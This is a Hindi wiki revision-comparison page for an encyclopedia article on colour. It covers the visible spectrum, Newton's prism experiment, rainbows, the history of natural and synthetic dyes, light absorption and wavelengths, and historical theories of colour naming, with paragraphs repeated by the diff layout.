Difference between revisions of "रंग"

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[[चित्र:Colourful Feathers.jpg|thumb|250px|रंग-बिरंगे पंख]]
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{{रंग विषय सूची}}
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{{चयनित लेख}}
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{{सूचना बक्सा संक्षिप्त परिचय
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|चित्र=Colourful Feathers.jpg
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|चित्र का नाम=रंग-बिरंगे पंख
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|विवरण='''रंग''' का हमारे जीवन में बहुत महत्त्व है। रंगों से हमें विभिन्न स्थितियों का पता चलता है। हम अपने चारों तरफ अनेक प्रकार के रंगों से प्रभावित होते हैं।
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|शीर्षक 1=उत्पत्ति
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|पाठ 1= रंग, मानवी [[आँख|आँखों]] के [[वर्णक्रम]] से मिलने पर छाया सम्बंधी गतिविधियों से उत्पन्न होते हैं। मूल रूप से [[इंद्रधनुष]] के सात रंगों को ही रंगों का जनक माना जाता है, ये सात रंग [[लाल रंग|लाल]], [[नारंगी रंग|नारंगी]], [[पीला रंग|पीला]], [[हरा रंग|हरा]], [[आसमानी रंग|आसमानी]], [[नीला रंग|नीला]] तथा [[बैंगनी रंग|बैंगनी]] हैं।
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|शीर्षक 2=मुख्य स्रोत
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|पाठ 2=रंगों की उत्पत्ति का सबसे प्राकृतिक स्रोत [[सूर्य]] का [[प्रकाश]] है। सूर्य के प्रकाश से विभिन्न प्रकार के रंगों की उत्पत्ति होती है। प्रिज़्म की सहायता से देखने पर पता चलता है कि सूर्य सात रंग ग्रहण करता है जिसे सूक्ष्म रूप या [[अंग्रेज़ी भाषा]] में '''VIBGYOR''' और [[हिन्दी]] में "बैं जा नी ह पी ना ला" कहा जाता है।
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|शीर्षक 3=VIBGYOR
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|पाठ 3=<center><span style="color: violet">'''Violet (बैंगनी)'''</span>, <span style="color: indigo">'''Indigo (जामुनी)'''</span>, <span style="color: blue">'''Blue (नीला)'''</span>, <span style="color:green">'''Green (हरा)'''</span>, <span style="color: yellow">'''Yellow (पीला)'''</span>, <span style="color:orange">'''Orange (नारंगी)'''</span>, <span style="color:red">'''Red (लाल)'''</span></center>
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|शीर्षक 4=रंगों के प्रकार
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|पाठ 4=[[प्राथमिक रंग]] ([[लाल रंग|लाल]], [[नीला रंग|नीला]] और [[हरा रंग|हरा]]), [[द्वितीयक रंग]] और [[विरोधी रंग]]
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|संबंधित लेख=[[इंद्रधनुष]], [[तरंग दैर्ध्य]], [[वर्ण विक्षेपण]], [[अपवर्तन]], [[होली]] 
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|अन्य जानकारी=विश्व की सभी [[भाषा|भाषाओं]] में रंगों की विभिन्न छवियों को भिन्न नाम प्रदान किए गए हैं। लेकिन फिर भी रंगों को क्रमबद्ध नहीं किया जा सका। [[अंग्रेज़ी भाषा]] में किसी एक छवि के अनेकानेक नाम हैं।
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|बाहरी कड़ियाँ=
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'''रंग''' [शुद्ध: '''रङ्‌ग'''] अथवा '''वर्ण''' ([[अंग्रेज़ी भाषा|अंग्रेज़ी]]:- ''Color अथवा Colour'') का हमारे जीवन में बहुत महत्त्व है। रंगों से हमें विभिन्न स्थितियों का पता चलता है। हम अपने चारों तरफ अनेक प्रकार के रंगों से प्रभावित होते हैं। रंग, मानवी [[आँख|आँखों]] के [[वर्णक्रम]] से मिलने पर छाया सम्बंधी गतिविधियों से उत्पन्न होते हैं। मूल रूप से [[इंद्रधनुष]] के सात रंगों को ही रंगों का जनक माना जाता है, ये सात रंग [[लाल रंग|लाल]], [[नारंगी रंग|नारंगी]], [[पीला रंग|पीला]], [[हरा रंग|हरा]], [[आसमानी रंग|आसमानी]], [[नीला रंग|नीला]] तथा [[बैंगनी रंग|बैंगनी]] हैं।  
 
'''रंग''' [शुद्ध: '''रङ्‌ग'''] अथवा '''वर्ण''' ([[अंग्रेज़ी भाषा|अंग्रेज़ी]]:- ''Color अथवा Colour'') का हमारे जीवन में बहुत महत्त्व है। रंगों से हमें विभिन्न स्थितियों का पता चलता है। हम अपने चारों तरफ अनेक प्रकार के रंगों से प्रभावित होते हैं। रंग, मानवी [[आँख|आँखों]] के [[वर्णक्रम]] से मिलने पर छाया सम्बंधी गतिविधियों से उत्पन्न होते हैं। मूल रूप से [[इंद्रधनुष]] के सात रंगों को ही रंगों का जनक माना जाता है, ये सात रंग [[लाल रंग|लाल]], [[नारंगी रंग|नारंगी]], [[पीला रंग|पीला]], [[हरा रंग|हरा]], [[आसमानी रंग|आसमानी]], [[नीला रंग|नीला]] तथा [[बैंगनी रंग|बैंगनी]] हैं।  
 
मानवी गुणधर्म के आभासी बोध के अनुसार लाल, नीला व हरा रंग होता है। रंग से विभिन्न प्रकार की श्रेणियाँ एवं भौतिक विनिर्देश वस्तु, [[प्रकाश]] स्रोत इत्यादि के भौतिक गुणधर्म जैसे प्रकाश विलयन, समावेशन, परावर्तन जुड़े होते हैं।
 
मानवी गुणधर्म के आभासी बोध के अनुसार लाल, नीला व हरा रंग होता है। रंग से विभिन्न प्रकार की श्रेणियाँ एवं भौतिक विनिर्देश वस्तु, [[प्रकाश]] स्रोत इत्यादि के भौतिक गुणधर्म जैसे प्रकाश विलयन, समावेशन, परावर्तन जुड़े होते हैं।
 
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==रंग क्या है==
====रंग क्या है====
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{{main|रंग क्या है}}
रंग क्या है? इस विषय पर वैज्ञानिकों तथा दार्शनिकों की जिज्ञासा बहुत समय से रही है, परंतु इसका व्यवस्थित अध्ययन सर्वप्रथम [[न्यूटन के नियम|न्यूटन]] ने किया। यह बहुत काल से ज्ञात था कि सफ़ेद प्रकाश काँच के प्रिज़्म से देखने पर रंगीन दिखाई देता है। न्यूटन ने इस पर तत्कालीन वैज्ञानिक यथार्थता के साथ प्रयोग किया।  
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रंग क्या है? इस विषय पर वैज्ञानिकों तथा दार्शनिकों की जिज्ञासा बहुत समय से रही है, परंतु इसका व्यवस्थित अध्ययन सर्वप्रथम [[न्यूटन के नियम|न्यूटन]] ने किया। यह बहुत काल से ज्ञात था कि सफ़ेद प्रकाश काँच के प्रिज़्म से देखने पर रंगीन दिखाई देता है। न्यूटन ने इस पर तत्कालीन वैज्ञानिक यथार्थता के साथ प्रयोग किया। एक अँधरे कमरे में छोटे से छेद द्वारा [[सूर्य]] का प्रकाश आता था। यह प्रकाश के एक प्रिज़्म काँच द्वारा अपवर्तित होकर सफ़ेद पर्दे पर पड़ता था। पर्दे पर सफ़ेद प्रकाश के स्थान पर इंद्रधनुष के सात रंग दिखाई दिए। ये रंग क्रम से लाल, नारंगी, पीला, हरा, आसमानी, नीला तथा बैंगनी हैं। जब न्यूटन ने प्रकाश के मार्ग में एक और प्रिज़्म पहले वाले प्रिज़्म से उल्टा रखा, तो इन सातों रंगों का प्रकाश मिलकर पुन: सफ़ेद रंग प्रकाश बन गया।
;प्रयोग
 
एक अँधरे कमरे में छोटे से छेद द्वारा [[सूर्य]] का प्रकाश आता था। यह प्रकाश के एक प्रिज़्म काँच द्वारा अपवर्तित होकर सफ़ेद पर्दे पर पड़ता था। पर्दे पर सफ़ेद प्रकाश के स्थान पर इंद्रधनुष के सात रंग दिखाई दिए। ये रंग क्रम से लाल, नारंगी, पीला, हरा, आसमानी, नीला तथा बैंगनी हैं। जब न्यूटन ने प्रकाश के मार्ग में एक और प्रिज़्म पहले वाले प्रिज़्म से उल्टा रखा, तो इन सातों रंगों का प्रकाश मिलकर पुन: सफ़ेद रंग प्रकाश बन गया।
 
[[चित्र:Prism.png|thumb|वर्णक्रम<br />Spectrum]]
 
;निष्कर्ष
 
इस प्रयोग से न्यूटन ने यह निष्कर्ष निकाला कि सफ़ेद रंग प्रिज़्म द्वारा सात रंगों में विभाजित हो जाता है। इसका अर्थ यह हुआ कि जो प्रकाश से मिलकर रंग दिखाई देता है, वह वास्तव में सात रंगों के प्रकाश से मिलकर बना है। न्यूटन ने एक गोल चकती को इंद्रधनुष के सात रंगों से उसी अनुपात में रंग दिया जिस अनुपात में वे इंद्रधनुष में है। इस चकती को तेजी से घुमाने पर यह सफ़ेद दिखाई देती थी। इससे यह भी सिद्ध होता है कि सफ़ेद प्रकाश सात रंगों से मिलकर बना है।<ref name="विश्वकोश">हिन्दी विश्वकोश खंड 10</ref>
 
====इंद्रधनुष====
 
{{मुख्य|इंद्रधनुष}}
 
परावर्तन, पूर्ण आन्तरिक परावर्तन तथा [[अपवर्तन]] द्वारा [[वर्ण विक्षेपण]] का सबसे अच्छा उदाहरण इन्द्रधनुष है। बरसात के मौसम में जब पानी की बूँदे [[सूर्य ग्रह|सूर्य]] पर पड़ती है तब सूर्य की किरणों का विक्षेपण ही इंद्रधनुष के सुंदर रंगों का कारण बनता है। आकाश में संध्या के समय पूर्व दिशा में तथा प्रात:काल पश्चिम दिशा में, वर्षा के पश्चात् [[लाल रंग|लाल]], [[नारंगी रंग|नारंगी]], [[पीला रंग|पीला]], [[हरा रंग|हरा]], [[आसमानी रंग|आसमानी]], [[नीला रंग|नीला]], तथा [[बैंगनी रंग|बैंगनी]] रंगों का एक विशालकाय वृत्ताकार वक्र कभी-कभी दिखाई देता है। यह इंद्रधनुष कहलाता है।
 
  
 
==मुख्य स्रोत==
 
==मुख्य स्रोत==
[[चित्र:Rainbow.jpg|thumb|250px|left|[[इंद्रधनुष]] <br/ > Rainbow]]
+
{{main|रंग के मुख्य स्रोत}}
 
रंगों की उत्पत्ति का सबसे प्राकृतिक स्रोत [[सूर्य ग्रह|सूर्य]] का प्रकाश है। सूर्य के प्रकाश से विभिन्न प्रकार के रंगों की उत्पत्ति होती है। प्रिज़्म की सहायता से देखने पर पता चलता है कि सूर्य सात रंग ग्रहण करता है जिसे सूक्ष्म रूप या [[अंग्रेज़ी भाषा]] में '''VIBGYOR''' और [[हिन्दी]] में "बैं जा नी ह पी ना ला" कहा जाता है। इसे "बैं नी आ ह पी ना ला" भी कहते हैं (यहाँ 'आ' आसमानी के लिए है) जो इस प्रकार हैं:-
 
रंगों की उत्पत्ति का सबसे प्राकृतिक स्रोत [[सूर्य ग्रह|सूर्य]] का प्रकाश है। सूर्य के प्रकाश से विभिन्न प्रकार के रंगों की उत्पत्ति होती है। प्रिज़्म की सहायता से देखने पर पता चलता है कि सूर्य सात रंग ग्रहण करता है जिसे सूक्ष्म रूप या [[अंग्रेज़ी भाषा]] में '''VIBGYOR''' और [[हिन्दी]] में "बैं जा नी ह पी ना ला" कहा जाता है। इसे "बैं नी आ ह पी ना ला" भी कहते हैं (यहाँ 'आ' आसमानी के लिए है) जो इस प्रकार हैं:-
  
<center><span style="color: #9900ff">'''बैंगनी (violet)'''</span>, <span style="color: #6600ff">'''जामुनी (indigo)'''</span>, <span style="color: #00ccff">'''नीला (blue)'''</span>, <span style="color: #228B22">'''हरा (green)'''</span>, <span style="color: #FFD800">'''पीला (yellow)'''</span>, <span style="color:#FF6700">'''नारंगी (orange)'''</span>, <span style="color: #ff0000">'''लाल (red)'''</span></center>
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<center><span style="color: violet">'''बैंगनी (violet)'''</span>, <span style="color: indigo">'''जामुनी (indigo)'''</span>, <span style="color: blue">'''नीला (blue)'''</span>, <span style="color: green">'''हरा (green)'''</span>, <span style="color: yellow">'''पीला (yellow)'''</span>, <span style="color:orange">'''नारंगी (orange)'''</span>, <span style="color: red">'''लाल (red)'''</span></center>
 
 
 
==इतिहास==
 
==इतिहास==
रंग हज़ारों वर्षों से हमारे जीवन में अपनी जगह बनाए हुए हैं। प्राचीनकाल से ही रंग कला में [[भारत]] का विशेष योगदान रहा है। [[मुग़ल काल]] में भारत में रंग कला को अत्यधिक महत्त्व मिला। यहाँ तक कि कई नये-नये रंगों का आविष्कार भी हुआ। इससे ऐसा आभास होता है कि रंगों के उपलब्ध कठिन पारिभाषिक नामों के अतिरिक्त भारतीय भाषाओं में उनके सुगम नाम भी विद्यमान रहे होंगे। यहाँ आजकल कृत्रिम रंगों का उपयोग ज़ोरों पर है वहीं प्रारंभ में लोग प्राकृतिक रंगों को ही उपयोग में लाते थे। उल्लेखनीय है कि [[मोहनजोदड़ो]] और [[हड़प्पा]] की खुदाई में [[सिंधु घाटी सभ्यता]] की जो चीज़ें मिलीं उनमें ऐसे बर्तन और मूर्तियाँ भी थीं, जिन पर रंगाई की गई थी। उनमें एक [[लाल रंग]] के कपड़े का टुकड़ा भी मिला। विशेषज्ञों के अनुसार इस पर मजीठ या मजिष्‍ठा की जड़ से तैयार किया गया रंग चढ़ाया गया था। हज़ारों वर्षों तक मजीठ की जड़ और बक्कम वृक्ष की छाल लाल रंग का मुख्‍य स्रोत थी। [[पीपल]], गूलर और पाकड़ जैसे वृक्षों पर लगने वाली लाख की कृमियों की लाह से महाउर रंग तैयार किया जाता था। पीला रंग और [[सिंदूरी रंग|सिंदूर]] हल्दी से प्राप्‍त होता था।
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{{main|रंग का इतिहास}}
[[चित्र:King-priest-mohenjo-daro.jpg|thumb|left|प्रधान अनुष्ठानकर्ता मोहनजोदाड़ो 2000 ई.पू.]]
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रंग हज़ारों वर्षों से हमारे जीवन में अपनी जगह बनाए हुए हैं। प्राचीनकाल से ही रंग कला में [[भारत]] का विशेष योगदान रहा है। [[मुग़ल काल]] में भारत में रंग कला को अत्यधिक महत्त्व मिला। यहाँ तक कि कई नये-नये रंगों का आविष्कार भी हुआ। इससे ऐसा आभास होता है कि रंगों के उपलब्ध कठिन पारिभाषिक नामों के अतिरिक्त भारतीय भाषाओं में उनके सुगम नाम भी विद्यमान रहे होंगे। यहाँ आजकल कृत्रिम रंगों का उपयोग ज़ोरों पर है वहीं प्रारंभ में लोग प्राकृतिक रंगों को ही उपयोग में लाते थे। उल्लेखनीय है कि [[मोहनजोदड़ो]] और [[हड़प्पा]] की खुदाई में [[सिंधु घाटी सभ्यता]] की जो चीज़ें मिलीं उनमें ऐसे बर्तन और मूर्तियाँ भी थीं, जिन पर रंगाई की गई थी। उनमें एक [[लाल रंग]] के कपड़े का टुकड़ा भी मिला। विशेषज्ञों के अनुसार इस पर मजीठ या मजिष्‍ठा की जड़ से तैयार किया गया रंग चढ़ाया गया था।  
====रंगों की तलाश====
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[[चित्र:Rainbow.jpg|thumb|250px|left|[[इंद्रधनुष]] <br/ > Rainbow]]
क़रीब सौ साल पहले पश्चिम में हुई औद्योगिक क्रांति के फलस्‍वरूप कपड़ा उद्योग का तेजी से विकास हुआ। रंगों की खपत बढ़ी। प्राकृतिक रंग सीमित मात्रा में उपलब्ध थे इसलिए बढ़ी हुई मांग की पूर्ति प्राकृतिक रंगों से संभव नहीं थी। ऐसी स्थिति में कृत्रिम रंगों की तलाश आरंभ हुई। उन्हीं दिनों रॉयल कॉलेज ऑफ़ केमिस्ट्री, लंदन में विलियम पार्कीसन एनीलीन से मलेरिया की दवा कुनैन बनाने में जुटे थे। तमाम प्रयोग के बाद भी कुनैन तो नहीं बन पायी, लेकिन [[बैंगनी रंग]] ज़रूर बन गया। महज संयोगवश 1856 में तैयार हुए इस कृत्रिम रंग को मोव कहा गया। आगे चलकर 1860 में [[रानी रंग]], 1862 में एनलोन नीला और एनलोन काला, [[1865]] में बिस्माई भूरा, [[1880]] में सूती काला जैसे रासायनिक रंग अस्तित्त्व में आ चुके थे। शुरू में यह रंग तारकोल से तैयार किए जाते थे। बाद में इनका निर्माण कई अन्य रासायनिक [[पदार्थ|पदार्थों]] के सहयोग से होने लगा। जर्मन रसायनशास्त्री एडोल्फ फोन ने [[1865]] में कृत्रिम नील के विकास का कार्य अपने हाथ में लिया। कई असफलताओं और लंबी मेहनत के बाद [[1882]] में वे नील की संरचना निर्धारित कर सके। इसके अगले वर्ष रासायनिक नील भी बनने लगा। इस महत्त्वपूर्ण कार्य के लिए बइयर साहब को [[1905]] का [[नोबेल पुरस्कार]] भी प्राप्‍त हुआ था।
 
 
 
[[मुंबई]] में रंग का काम करने वाली कामराजजी नामक फर्म ने सबसे पहले [[1867]] में रानी रंग (मजेंटा) का आयात किया था। [[1872]] में जर्मन रंग विक्रेताओं का एक दल एलिजिरिन नामक रंग लेकर यहाँ आया था। इन लोगों ने भारतीयों के बीच अपना रंग चलाने के लिए तमाम हथकंडे अपनाए। आरंभ में उन्होंने नमूने के रूप में अपने रंग मुफ़्त बांटे। बाद में अच्छा ख़ासा ब्याज वसूला। वनस्पति रंगों के मुक़ाबले रासायनिक रंग काफ़ी सस्ते थे। इनमें तात्कालिक चमक-दमक भी खूब थी। यह आसानी से उपलब्ध भी हो जाते थे। इसलिए हमारी प्राकृतिक रंगों की परंपरा में यह रंग आसानी से क़ब्ज़ा जमाने में क़ामयाब हो गए।।<ref>{{cite web |url=http://khulasaa.com/index.php?option=com_content&view=article&id=126&Itemid=48 |title=कैसे आए कृत्रिम रंग |accessmonthday=[[16 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=खुलासा डॉट कॉम |language=[[हिन्दी]]}}</ref>
 
 
 
 
==वैज्ञानिक पहलू==
 
==वैज्ञानिक पहलू==
[[लोहा|लोहे]] का एक टुकड़ा जब धीरे-धीरे गरम किया जाता है तब उसमें रंग के निम्न परिवर्तन दिखाई देते हैं। पहले तो वह काला दिखाई पड़ता है, फिर उसका रंग लाल होने लगता है। यदि उसका ताप बढ़ाते जाएँ तो उसका रंग क्रमश: नारंगी, पीला इत्यादि होता हुआ सफ़ेद हो जाता है। जब लोहा कम गरम होता है। तब उसमें से केवल लाल प्रकाश ही निकलता है। जैसे-जैसे लोहा अधिक गरम किया जाता है वैसे-वैसे उसमें से अन्य रंगों का प्रकाश भी निकलने लगता है। जब वह इतना गरम हो जाता है कि उसमें से स्पेक्ट्रम के सभी रंगों का प्रकाश निकलने लगे तब उनके सम्मिलित प्रभाव से सफ़ेद रंग दिखाई देता है। यदि [[गैस|गैसों]] में विद्युत विसर्जन हो, तो उससे भी प्रकाश उत्पन्न होता है। जब हवा में विद्युत स्फुल्लिंग उत्पन्न होता है तब उससे [[बैंगनी रंग]] का प्रकाश निकलता है। विभिन्न गैसों में विद्युत विसर्जन होने से विभिन्न रंग का प्रकाश निकलता है।
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{{main|रंग का वैज्ञानिक पहलू}}
 
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[[लोहा|लोहे]] का एक टुकड़ा जब धीरे-धीरे गरम किया जाता है तब उसमें रंग के निम्न परिवर्तन दिखाई देते हैं। पहले तो वह काला दिखाई पड़ता है, फिर उसका रंग लाल होने लगता है। यदि उसका ताप बढ़ाते जाएँ तो उसका रंग क्रमश: नारंगी, पीला इत्यादि होता हुआ सफ़ेद हो जाता है। जब लोहा कम गरम होता है। तब उसमें से केवल लाल प्रकाश ही निकलता है। जैसे-जैसे लोहा अधिक गरम किया जाता है वैसे-वैसे उसमें से अन्य रंगों का प्रकाश भी निकलने लगता है। जैसे-जैसे लोहा अधिक गरम किया जाता है वैसे-वैसे उसमें से अन्य रंगों का प्रकाश भी निकलने लगता है। जब वह इतना गरम हो जाता है कि उसमें से स्पेक्ट्रम के सभी रंगों का प्रकाश निकलने लगे तब उनके सम्मिलित प्रभाव से सफ़ेद रंग दिखाई देता है।
====प्रकाश का रंग====
 
प्रकाश विद्युत चुंबकीय [[तरंगें|तरंगों ]] के रूप में होता है। विभिन्न रंग के प्रकाश का [[तरंगदैर्ध्य]] भिन्न होता है। लाल रंग के प्रकाश का तरंगदैर्ध्य (6.5 x 10 सेंटीमीटर) सबसे अधिक और बैंगनी रंग के प्रकाश का तरंगदैर्ध्य (4.5 x 10 सेंटीमीटर) सबसे कम होता है। अन्य रंगों के लिए तरंगदैर्ध्य इसके बीच में होता है। विभिन्न तरंगदैर्ध्य की विद्युत चुंबकीय तरंगों के [[आँख|आँखों]] पर पड़ने से रंगों की अनुभूति होती है। रंग वास्तव में एक मानसिक अनुभूति है, जैसे स्वाद या सुगन्ध। बाह्म जगत में इसका अस्तित्त्व रंग के रूप में नहीं, बल्कि विद्युत चुंबकीय तरंगों के रूप में होता है।
 
====रंगीन पदार्थ का रंग====
 
[[चित्र:Wave-Length.jpg|250px|thumb|[[तरंग दैर्ध्य]]]]
 
जब किसी प्रकाश स्रोत से निकलने वाला प्रकाश किसी [[पदार्थ]] पर पड़ता है और उससे परावर्तित होकर (या पार जाकर) आँखों पर पड़ता है, तब हमें वह वस्तु दिखाई देती है। किसी पदार्थ पर पड़ने वाला प्रकाश यदि बिना किसी रूपांतरण के हमारी आँखों तक पहुँचे, तो हमें वह वस्तु सफेद दिखाई देती है। उदाहरण के लिए लाल रंग के प्रकाश में देखने पर लाल वस्तु भी सफेद दिखाई देती है। वही वस्तु सफ़ेद प्रकाश में लाल और नीले प्रकाश में काली दिखाई देती है।
 
====अवशोषण====
 
अपारदर्शी या पारदर्शी, सभी रंगीन पदार्थों का रंग वर्णात्मक अवशोषण के कारण दिखाई पड़ता है। इसका अर्थ यह है कि रंगीन वस्तुएँ कुछ रंग के प्रकाश को अन्य रंगों के प्रकाश की अपेक्षा अधिक अवशोषित करती हैं। किस रंग का प्रकाश अधिक अवशोषित होगा, यह वस्तु के रंग पर निर्भर करता है। ऊपर के उदाहरण में कोई वस्तु लाल इसलिए दिखाई देती है कि उस पर पड़ने वाले सफेद प्रकाश में से केवल लाल प्रकाश ही परावर्तित हो पाता है, शेष सभी रंग पूर्ण रूप से अवशोषित हो जाते हैं। लाल वस्तु से लाल रंग का प्रकाश पूर्ण रूप से परावर्तित होता है, इसलिए सफ़ेद रंग के प्रकाश में वह लाल दिखाई देती है। यदि वही वस्तु हम नीले प्रकाश में देखें, तो वह हमें काली इसलिए दिखाई देगी क्योंकि वह लाल के अतिरिक्त अन्य सब प्रकाश अवशोषित कर लेती है। अत: नीला प्रकाश उसमें पूर्ण रूप से अवशोषित हो जाएगा और आँखों तक कोई प्रकाश नहीं पहुँचेगा।
 
 
 
यदि कोई वस्तु एक से अधिक रंग परावर्तित करती है, तो उसका मिला हुआ रंग दिखाई पड़ता है। पीली वस्तु लाल और हरे रंग का प्रकाश परावर्तित करती है। चूँकि लाल और हरे रंग का प्रकाश मिलकर पीला प्रकाश बनता है, अत: वह वस्तु हमें पीली दिखाई देती है। पारदर्शी रंगीन वस्तुएँ कुछ रंग के प्रकाश को तो अपने में से पार जाने देती हैं और शेष प्रकाश को अवशोषित कर लेती हैं। नीले शीशे में से होकर केवल नीला प्रकाश ही जा पाता है और शेष प्रकाश अवशोषित हो जाता है। यदि पारदर्शी वस्तुओं में से होकर एक से अधिक रंग का प्रकाश जाता हो, तो उन रंगों का सम्मिलित प्रभाव दिखाई देता है।<ref name="विश्वकोश"/>
 
 
 
====प्रकाश का वर्ण विक्षेपण====
 
{{main|वर्ण विक्षेपण}}
 
*जब [[सूर्य ग्रह|सूर्य]] का प्रकाश प्रिज़्म से होकर गुजरता है, तो वह अपवर्तन के पश्चात प्रिज़्म के आधार की ओर झुकने के साथ-साथ विभिन्न रंगों के प्रकाश में बँट जाता है। इस प्रकार से श्वेत प्रकाश का अपने अवयवी रंगों में विभक्त होने की क्रिया को वर्ण विक्षेपण कहते हैं।
 
*सूर्य के प्रकाश से प्राप्त रंगों में बैंगनी रंग का विक्षेपण सबसे अधिक एवं लाल रंग का विक्षेपण सबसे कम होता है।
 
 
 
====प्रकाश का अपवर्तनांक====
 
{{main|अपवर्तन}}
 
पारदर्शी पदार्थ में जैसे-जैसे [[प्रकाश]] के रंगों का अपवर्तनांक बढ़ता जाता है, वैसे-वैसे उस [[पदार्थ]] में उसकी [[चाल]] कम होती जाती है। जैसे- काँच में [[बैंगनी रंग]] के प्रकाश का [[वेग]] सबसे कम तथा अपवर्तनांक सबसे अधिक होता है तथा लाल रंग का वेग सबसे अधिक एवं अपवर्तनांक सबसे कम होता है।
 
 
 
====रंग की आवृति व तरंगदैर्ध्य अंतराल====
 
सूर्य से प्राप्त मुख्य रंग बैंगनी, नील, नीला, पीला, नारंगी व लाल है। प्रत्येक रंग की तरंगदैर्ध्य अलग होती है। रंगों की विभिन्न [[आवृति|आवृतियों]] व तरंगदैर्ध्य को निम्न तालिका द्वारा स्पष्ट किया जा सकता है-
 
<center>
 
{| class="bharattable" border="1" width="80%" style="text-align:center;"
 
|-
 
! style="background:#6a6a6a; color:white"|रंग
 
! style="background:#6a6a6a; color:white"| आवृति विस्तार
 
! style="background:#6a6a6a; color:white"| तरंगदैर्ध्य विस्तार
 
|-
 
| style="background:#8000ff; color:white;"|बैंगनी
 
| style="background:#8000ff; color:white;"| 6.73 - 7.6
 
| style="background:#8000ff; color:white;"| 3800 Å से 4460 Å
 
|-
 
| style="background:#0000ff; color:white;"| नीला
 
| style="background:#0000ff; color:white;"| 6.47 - 6.73
 
| style="background:#0000ff; color:white;"| 4460 Å से 4640 Å
 
|-
 
| style="background:#27bcf6;"| आसमानी नीला
 
| style="background:#27bcf6;"| 6.01 - 6.47
 
| style="background:#27bcf6;"| 4640 Å से 5000 Å
 
|-
 
| style="background:#00ff00;"| हरा
 
| style="background:#00ff00;"| 5.19 - 6.01
 
| style="background:#00ff00;"| 5000 Å से 5780 Å
 
|-
 
| style="background:#ffff00;"| पीला
 
| style="background:#ffff00;"| 5.07 - 5.19
 
| style="background:#ffff00;"| 5780 Å से 5920 Å
 
|-
 
| style="background:#ff8000;"| नारंगी
 
| style="background:#ff8000;"| 4.84 - 5.07
 
| style="background:#ff8000;"| 5920 Å से 6200 Å
 
|-
 
| style="background:#ff0000; color:white;"| लाल
 
| style="background:#ff0000; color:white;"| 3.75 - 4.84
 
| style="background:#ff0000; color:white;"| 6200 Å से 7800 Å
 
|}
 
</center>
 
 
==रंगों का नामकरण==
 
==रंगों का नामकरण==
 +
{{main|रंगों का नामकरण}}
 
हर सभ्यता ने रंग को अपने लिहाज़ से गढ़ा है लेकिन इत्तेफाक से किसी ने भी ज़्यादा रंगों का नामकरण नहीं किया। ज़्यादातर भाषाओं में रंगों को दो ही तरह से बांटा गया है। पहला सफ़ेद यानी हल्का और दूसरा काला यानी चटक अंदाज़ लिए हुए।
 
हर सभ्यता ने रंग को अपने लिहाज़ से गढ़ा है लेकिन इत्तेफाक से किसी ने भी ज़्यादा रंगों का नामकरण नहीं किया। ज़्यादातर भाषाओं में रंगों को दो ही तरह से बांटा गया है। पहला सफ़ेद यानी हल्का और दूसरा काला यानी चटक अंदाज़ लिए हुए।
 
*'''अरस्तु''' ने चौथी शताब्दी के ईसापूर्व में नीले और पीले की गिनती प्रारंभिक रंगों में की। इसकी तुलना प्राकृतिक चीज़ों से की गई जैसे सूरज-चांद, स्त्री-पुरुष, फैलना-सिकुड़ना, दिन-रात, आदि। यह तक़रीबन दो हज़ार वर्षों तक प्रभावी रहा।  
 
*'''अरस्तु''' ने चौथी शताब्दी के ईसापूर्व में नीले और पीले की गिनती प्रारंभिक रंगों में की। इसकी तुलना प्राकृतिक चीज़ों से की गई जैसे सूरज-चांद, स्त्री-पुरुष, फैलना-सिकुड़ना, दिन-रात, आदि। यह तक़रीबन दो हज़ार वर्षों तक प्रभावी रहा।  
*17-18वीं शताब्दी में '''न्यूटन''' के सिद्दांत ने इसे सामान्य रंगों में बदल दिया। 1672 में न्यूटन ने रंगों पर अपना पहला पेपर प्रस्तुत किया था जो बहुत विवादों में रहा।
 
*'''गोथे''' ने न्यूटन के सिद्धांत को पूरी तरह नकारते हुए '''थ्योरी ऑफ़ कलर्स (Theory Of Colours)''' नामक किताब लिखी। गोथे के सिद्धांत अरस्तु से मिलते हैं। गोथे ने कहा कि गहरे अंधेरे में से सबसे पहले नीला रंग निकलता है, यह गहरेपन को दर्शाता है। वहीं उगते हुए सूरज में से पीला रंग सबसे पहले निकलता है जो हल्के रंगों का प्रतिनिधित्त्व करता है।
 
*19 वीं शताब्दी में कलर थेरेपी का प्रभाव कम हुआ लेकिन 20वीं शताब्दी में यह नए स्वरूप में पैदा हुआ। आज के कई डॉक्टर कलर थेरेपी को इलाज का बढ़िया माध्यम मानकर इसका इस्तेमाल करते हैं।
 
*रंग विशेषज्ञ मानते हैं कि हमें प्रकृति से सानिध्य बनाते हुए रंगों को कलर थेरेपी के बजाय ज़िन्दगी के तौर पर अपनाना चाहिए। रंगों को समझने में सबसे बड़ा योगदान उन लोगों ने किया जो [[विज्ञान]], गणित, तत्त्व विज्ञान और धर्मशास्त्र के अनुसार काम करते थे।<ref>{{cite web |url=http://www.brandbihar.com/hindi/literature/amit_sharma/rang_aur_holi.html |title=रंग और होली|accessmonthday= [[22 अक्टूबर]]|accessyear=[[2010]] |authorlink= |last=शर्मा |first=डॉ. अमित कुमार |format= |publisher=BrandBihar.com|language=एच टी एम एल}}</ref>
 
*ऑस्टवाल्ड नामक वैज्ञानिक ने आठ आदर्श रंगों को विशेष क्रम से एक क्रम में संयोजित किया। इस चक्र को '''ऑस्टवाल्ड वर्ण चक्र''' कहते हैं। इस चक्र में प्रदर्शित किये गये आठ आदर्श रंगों को निम्न विशेष क्रम में प्रदर्शित किया जा सकता है-
 
;पीला
 
{{मुख्य|पीला रंग}}
 
पीला रंग वह रंग है जो कि मानवीय आँख के शंकुओं में लम्बे एवं मध्यमक, दोनों [[तरंग दैर्ध्य]] वालों को प्रभावित करता है। यह वह रंग है, जिसमें लाल एवं हरा रंग बाहुल्य में एवं नीला वर्ण न्यून हो। इस की [[आवृति]] लगभग 5.07 - 5.19 तथा तरंग दैर्ध्य 5780 Å से 5920 Å<ref>Å=10<sup>-10</sup> m = 10<sup>-8</sup> cm = 10<sup>-1</sup>nm (nanometre</ref> है।                 
 
;नारंगी
 
{{मुख्य|नारंगी रंग}}
 
नारंगी एक पारिभाषित तथा दैनिक जीवन में प्रयुक्त रंग है, जो [[संतरा|नारंगी]] (फल) के छिलके के रंग जैसा दिखता है। यह प्रत्यक्ष [[वर्णक्रम]] (स्पॅक्ट्रम) के [[पीला रंग|पीला]] एवं [[लाल रंग]] के बीच में, लगभग 5920 Å से 6200 Å <ref>Å=10<sup>-10</sup> m = 10<sup>-8</sup> cm = 10<sup>-1</sup>nm (nanometre</ref> के तरंग दैर्ध्य में मिलता है। इसकी आवृति 4.84 - 5.07 होती है।
 
;लाल
 
